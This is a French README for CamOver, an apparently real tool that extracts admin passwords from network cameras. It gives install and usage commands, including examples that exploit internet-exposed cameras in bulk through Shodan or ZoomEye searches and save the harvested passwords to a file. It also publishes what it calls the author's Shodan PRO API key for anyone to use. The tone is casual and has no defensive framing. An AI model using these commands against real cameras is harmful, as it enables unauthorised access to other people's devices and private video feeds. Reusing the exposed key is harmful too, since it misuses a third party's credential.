CamOver

CamOver est un outil d'exploitation de caméras qui permet de divulguer le mot de passe administrateur d'une caméra réseau.

Fonctionnalités

• Exploite les vulnérabilités des modèles de caméras les plus populaires tels que CCTV, GoAhead et Netwave.
• Optimisé pour exploiter plusieurs caméras à la fois à partir d'une liste avec le threading activé.
• Utilisation simple en CLI et API.

Installation

pip3 install git+https://github.com/EntySec/CamOver

Utilisation de base

Pour utiliser CamOver, tapez simplement camover dans votre terminal.

usage: camover [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
               [--zoomeye ZOOMEYE] [-p PAGES]

CamOver is a camera exploitation tool that allows to disclosure network camera
admin password.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

Exemples

Exploitation d'une seule caméra

Pirater ma caméra juste pour le plaisir.

camover -a 192.168.99.100

Exploitation de caméras depuis Internet

Essayons d'utiliser le moteur de recherche Shodan pour exploiter des caméras via Internet, nous l'utiliserons avec -t pour une exploitation rapide.

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTE : La clé API Shodan donnée (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) est ma clé PRO, vous pouvez utiliser cette clé ou la vôtre, n'hésitez pas à utiliser toutes nos ressources gratuitement :)

Exploitation de caméras depuis un fichier d'entrée

Essayons d'utiliser une base de données ouverte de caméras avec -t pour une exploitation rapide.

camover -t -i cameras.txt -o passwords.txt

NOTE : Cela exploitera toutes les caméras de la liste cameras.txt par leurs adresses et enregistrera tous les mots de passe obtenus dans passwords.txt.

Utilisation de l'API

CamOver dispose également de sa propre API Python qui peut être invoquée en important CamOver dans votre code.

from camover import CamOver

Fonctions de base

Voici toutes les fonctions de base de CamOver qui peuvent être utilisées pour exploiter une caméra spécifiée.

• exploit(address) - Exploite une seule caméra à partir de l'adresse donnée.

Exemples

Exploitation d'une seule caméra

from camover import CamOver

camover = CamOver()
creds = camover.exploit('192.168.99.100')

print(creds)